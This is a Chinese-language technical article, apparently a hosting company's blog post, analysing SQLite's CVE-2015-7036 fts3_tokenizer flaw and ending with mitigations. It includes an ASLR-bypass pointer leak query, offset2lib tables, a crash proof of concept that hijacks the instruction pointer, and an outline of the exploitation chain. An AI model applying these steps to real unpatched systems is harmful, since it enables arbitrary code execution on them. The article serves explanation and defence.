服務(wù)器租用數(shù)據(jù)庫中的SQLite漏洞分析
SQL是服務(wù)器租賃用戶的常用數(shù)據(jù)庫。但是,最近的分析表明,SQL數(shù)據(jù)庫中存在兩個溢出漏洞。這里將解釋相關(guān)原理。
01 什么是內(nèi)存破壞漏洞
SQLite是一款輕型數(shù)據(jù)庫,是遵守ACID的關(guān)系型數(shù)據(jù)管理系統(tǒng),它包含在一個相對小的C庫中。作為一款嵌入式數(shù)據(jù)庫,他因占用的資源非常低,數(shù)據(jù)處理速度快等優(yōu)點被Andriod、WebKit等流行軟件采用。說起SQLite的內(nèi)存破壞漏洞,共分為兩種類型,一是由SQLite數(shù)據(jù)庫的文件格式引起的內(nèi)存損壞漏洞,如CVE-2015-7036,CVE-2017-10989,另一個是SQLite解析器觸發(fā)的sql語句中的錯誤。CVE-2015-3414,CVE-2015-3415。
提起CVE-2015-7036,fts3_tokenizer是一個繞不開的話題。這是發(fā)生在Apple iOS 8.4以前版本和 OS X 10.10.4版本以前的漏洞,原因是內(nèi)置的SQLite的fts3_tokenizer函數(shù)存在任意命令執(zhí)行漏洞,遠(yuǎn)程攻擊者可以通過SQL命令執(zhí)行任意指令或?qū)е孪到y(tǒng)崩潰,拒絕服務(wù)。讓我們來一起看看這個能讓號稱最安全的蘋果系統(tǒng)都中招的fts3_tokenizer到底是何方神圣。
sqlite中支持fts表(full-text search的簡稱),fts3其實是sqlite的一個擴展模塊,是虛擬表模塊,允許用戶使用 MATCH ‘keyword’ 查詢而非 LIKE ‘%keyword%’ 子串匹配的方式實現(xiàn)全文檢索。在實現(xiàn)全文搜索的過程中,對原始內(nèi)容進(jìn)行分詞是一個必須的過程。SQLite內(nèi)置的simple和porter分詞器只能支持ASCII字符的英文分詞,為滿足不同語言的需求,SQLite 3.7.13開始引入unicode61分詞器以支持unicode,并提供給開發(fā)者自行添加分詞器的接口。
02 fts3_tokenizer的兩種入侵方式
sqlite在fts3_tokenizer.h中提供了各種接口供用戶自定義分詞器,但其并未提供c函數(shù)供用戶來注冊自定義的分詞器,分詞器的注冊必須使用sql語句來完成。
1、fts3_tokenizer();
參數(shù)中的tokenizer-name是分詞器的名稱,該用法的返回值是指定名字分詞器的sqlite3_tokenizer_module 結(jié)構(gòu)體指針,以 blob 類型表示16進(jìn)制的一個大端序的內(nèi)存地址。該用法本來是用來檢查分詞器是否被注冊。但是同時我們也發(fā)現(xiàn),如果是探測一個已經(jīng)存在的分詞器返回值是一個內(nèi)存地址。在 fts3.c 中可以看到 SQLite3 默認(rèn)注冊了內(nèi)置分詞器 simple 和 porter:
if( sqlite3Fts2HashInsert(pHash, "simple", 7, (void *)pSimple)|| sqlite3Fts2HashInsert(pHash, "porter", 7, (void *)pPorter)
以 simple 分詞器為例,其注冊的指針指向靜態(tài)區(qū)的 simpleTokenizerModule。
static const sqlite3_tokenizer_module simpleTokenizerModule = { 0,
simpleCreate,
simpleDestroy,
simpleOpen,
simpleClose,
simpleNext,
};
通過獲得這個指針,獲得 sqlite3 的基地址,根據(jù)不同版本調(diào)整偏移量,可以計算繞過 ASLR保護(hù)機制:
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> select hex(fts3_tokenizer(simple'));
A0CE0D3321560000
sqlite>
root@kali:/usr/local/bin# grep sqlite /proc/20261/maps
555555554000-555555623000 r-xp 00000000 fe:00 3417560 /usr/local/bin/sqlite3
555555822000-555555825000 r--p 000ce000 fe:00 3417560 /usr/local/bin/sqlite3
555555825000-555555828000 rw-p 000d1000 fe:00 3417560 /usr/local/bin/sqlite3
這里提一下關(guān)于繞過ASLR保護(hù)機制的相關(guān)內(nèi)容:
ASLR(Address Space Layout Randomization),地址空間格局的隨機化,就是用來防范Ret2libc攻擊手段的另一個重要的安全特性。在你知道目標(biāo)代碼或數(shù)據(jù)定位的前提下,它可以變成一種規(guī)避攻擊的技術(shù)。正因為黑客并不知道整個地址空間的布局,ASLR技術(shù)變得極為有效。只有當(dāng)可執(zhí)行程序編譯為PIE時(地址無關(guān)可執(zhí)行文件),才能最大限度地從ASLR技術(shù)那里獲得保護(hù),因為其所有組成部分都是從隨機地址加載的。
然而,當(dāng)可執(zhí)行文件被編譯成PIE之后,GNU/Linux下的ASLR實現(xiàn)的過程中,會出現(xiàn)一個名為Offset2lib安全漏洞,其專門用于繞過在GNU/Linux下如ASLR之類的對于普通漏洞的常用防護(hù)。
正常情況下,可能需要大概五步進(jìn)行攻擊,攻擊的流程總結(jié)如下:
提取靜態(tài)信息
暴力獲取saved-IP部分
計算應(yīng)用基址
計算offset2lib常量
獲得內(nèi)存映射區(qū)域
首先,我們的攻擊對目標(biāo)程序和其執(zhí)行環(huán)境做一個離線分析。利用標(biāo)準(zhǔn)的緩沖區(qū)溢出漏洞來暴力獲取被ASLR隱藏的保存在棧里的應(yīng)用代碼的saved-IP地址(應(yīng)用地址),這多虧了目標(biāo)的fork服務(wù)器結(jié)構(gòu)。一旦我們獲得了目標(biāo)應(yīng)用的完整地址,應(yīng)用的基址就能被計算出來。最后一步則是對整個庫做內(nèi)存映射,這將決定于目標(biāo)GNU/Linux的版本。獲得隱藏的未明信息后,利用ROP應(yīng)用獲得遠(yuǎn)程shell是非常容易的。
因為fts3_tokenizer好心的提醒了我們基址地址,甚至不需要前三步的計算,通過union或者盲注,我們可以獲取到這個基地址信息。
計算出目標(biāo)庫的offset2lib值,它會因系統(tǒng)的不同而不同,但相互之間有很大的相似性。獲得這些offset2lib的值有一個迅捷的辦法,那就是本地執(zhí)行該應(yīng)用,打印出偏移量。offset2lib并不決定于應(yīng)用本身,我們需要為特定Linux系統(tǒng)版本量身計算。
Distribution Libc ver. Offset2lib
CentOS 6.5 2.12 0x5b6000
Debian 7.1 2.13 0x5ac000
Ubuntu 12.04 2.15 0x5e4000
Ubuntu 12.10 2.15 0x5e4000
libc(Linux下的ANSI C的函數(shù)庫。 ANSI C是基本的C語言函數(shù)庫,包含了C語言最基本的庫函數(shù))的基址都可以通過可執(zhí)行文件基址減去offset2lib值來計算:
Libc_base = App_base - offset2lib
獲取到libc的內(nèi)存地址之后的目標(biāo)就是獲取shell了??梢越柚鶵OP(現(xiàn)代棧溢出利用技術(shù)基礎(chǔ))來實現(xiàn),本文就不詳細(xì)介紹了。
這里的sqlite3_tokenizer_module ptr表示一個指向sqlite3_tokenizer_module結(jié)構(gòu)的指針并且編碼為SQL blob。這種用法用來注冊新的分詞器,在SQL下執(zhí)行此形式語句,即可注冊一個的分詞器。沒錯,這里就是把指針當(dāng)成參數(shù)直接放進(jìn)SQL語句中了,這個指針指向一個 sqlite3_tokenizer_module 結(jié)構(gòu)體,前文已經(jīng)提到其中包含數(shù)個回調(diào)函數(shù)指針,注冊完成分詞器后,SQLite3 在處理一些 SQL 查詢時將會執(zhí)行分詞器的回調(diào)函數(shù)以獲得結(jié)果。
攻擊者構(gòu)造出一個結(jié)構(gòu)體之后,獲取到該結(jié)構(gòu)體的內(nèi)存地址,并使用 SQL 注入等手段讓目標(biāo)注冊構(gòu)造好的“分詞器”,再通過 SQL 觸發(fā)特殊回調(diào)就可以實現(xiàn)劫持 IP 寄存器,執(zhí)行任意代碼。接下來進(jìn)一步分析這個攻擊面是否可以被利用。
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> select fts3_tokenizer('simple', x'4141414141414141'); create virtual table a using fts3;
AAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00005555555a2178 in sqlite3Fts3InitTokenizer (pHash=pHash@entry=0x55555582d7c8, zArg=zArg@entry=0x5555556019cf "simple",
ppTok=ppTok@entry=0x7fffffffc7d8, pzErr=pzErr@entry=0x7fffffffc8f8) at sqlite3.c:141967
141967 rc = m->xCreate(iArg, aArg, ppTok);
用gdb查看崩潰的上下文:
[----------------------------------registers-----------------------------------]rax 0x4141414141414141 4702111234474983745
rbx 0x0 0
rcx 0x0 0
rdx 0x7fffffffc7d8 140737488340952
rsi 0x0 0
rdi 0x0 0
rbp 0x0 0x0
rsp 0x7fffffffc6b0 0x7fffffffc6b0
r8 0x60 96
r9 0x73 115
r10 0x555555604aa0 93824992955040
r11 0x1 1
r12 0x0 0
r13 0x55555583f8ee 93824995293422
r14 0x7fffffffc6dc 140737488340700
r15 0x55555583f8e8 93824995293416
rip 0x5555555a2178 0x5555555a2178
eflags 0x10297 [ CF PF AF SF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
[-------------------------------------code-------------------------------------]
0x00005555555a2173 <+307>: mov %r12,%rsi
0x00005555555a2176 <+310>: mov %ebx,%edi
=> 0x00005555555a2178 <+312>: callq *0x8(%rax)
0x00005555555a217b <+315>: test %eax,%eax
0x00005555555a217d <+317>: mov %eax,%ebp
0x00005555555a217f <+319>: jne 0x5555555a21d8
0x00005555555a2181 <+321>: mov (%rsp),%rax
0x00005555555a2185 <+325>: mov 0x18(%rsp),%rdx
0x00005555555a218a <+330>: mov (%rax),%rax
0x00005555555a218d <+333>: mov %rdx,(%rax)
0x00005555555a2190 <+336>: mov %r12,%rdi
rax 注冊時提交的指針參數(shù),cast將blob類型數(shù)據(jù)轉(zhuǎn)換為指針,SQLite 完全沒有對指針做任何有效性檢查,直接進(jìn)行了回調(diào)的調(diào)用。其對應(yīng)源代碼位于 ext/fts3/fts3_tokenizer.c 的 sqlite3Fts3InitTokenizer 函數(shù):
m = (sqlite3_tokenizer_module *)sqlite3Fts3HashFind(pHash,z,(int)strlen(z)+1); if( !m ){
sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer: %s", z);
rc = SQLITE_ERROR;
}else{ char const **aArg = 0;
… (省略部分代碼)
rc = m->xCreate(iArg, aArg, ppTok);
assert( rc!=SQLITE_OK || *ppTok ); if( rc!=SQLITE_OK ){
sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer");
}else{
首先利用fts3_tokenizer的第一種方式,查詢到sqlite基地址,注意結(jié)果是大端序。根據(jù) select sqlite_version() 函數(shù)泄漏的版本信息調(diào)整偏移量,執(zhí)行 PRAGMA soft_heap_limit 語句布置需要 call 的目標(biāo)指令地址,向一個已知內(nèi)存地址寫入一個函數(shù)指針,然后這個地址轉(zhuǎn)換為blob類型,作為fts3_tokenizer 函數(shù)的第二個參數(shù),進(jìn)而注冊了一個“分詞器”,最后通過創(chuàng)建虛擬表,觸發(fā) xCreate 回調(diào)函數(shù),導(dǎo)致eip劫持,允許遠(yuǎn)程攻擊者執(zhí)行任意代碼。
03 亡羊補牢猶未晚
雖然這不是 SQLite 的漏洞,但濫用這一特性可能導(dǎo)致應(yīng)用程序產(chǎn)生攻擊面。禁用這一特性可以起到緩解的效果。比如Andriod甚至是SQLite自己都在3.11版本就采用了直接禁用這種方式。
重寫函數(shù)也不為是一個不錯的辦法,十分流行的WebKit也曾提供選擇禁用Web SQL Database作為本地數(shù)據(jù)庫,它采用的語言就是SQLite,但已經(jīng)被W3C標(biāo)準(zhǔn)移除了?,F(xiàn)在WebKit也重寫了函數(shù)。
但是只是簡單的白名單過濾并不是一個優(yōu)秀的處理方式,Safari瀏覽器采用sqlite3_set_authorizer()用來授權(quán)SQL語句行為,并通過白名單控制了可以執(zhí)行的SQL語句,但CVE-2015-3659中明確說了如何繞過白名單,同樣執(zhí)行任意代碼,或者導(dǎo)致拒絕服務(wù),系統(tǒng)崩潰。
總結(jié)一下修復(fù)和處理的方式:
如果用不到全文檢索,可通過關(guān)閉 SQLITE_ENABLE_FTS3 / SQLITE_ENABLE_FTS4 / SQLITE_ENABLE_FTS5 選項禁用之,或者使用 Amalgamation 版本編譯;
如果需要使用 MATCH 檢索,但不需要支持多國語言(即內(nèi)置分詞器可以滿足要求),找到 ext/fts3/fts3.c 中注釋掉如下一行代碼關(guān)閉此函數(shù):
&& SQLITE_OK==(rc = sqlite3Fts3InitHashTable(db, pHash, “fts3_tokenizer”))
使用 SQLite3 的 Authorization Callbacks 設(shè)置訪問控制
希望云網(wǎng)時代小編的分享能夠?qū)Υ蠹矣兴鶐椭?,云網(wǎng)時代專業(yè)提供深圳服務(wù)租用,深圳服務(wù)托管,深圳主機租用,云主機租用等服務(wù)器相關(guān)產(chǎn)品,詳情咨詢客服了解。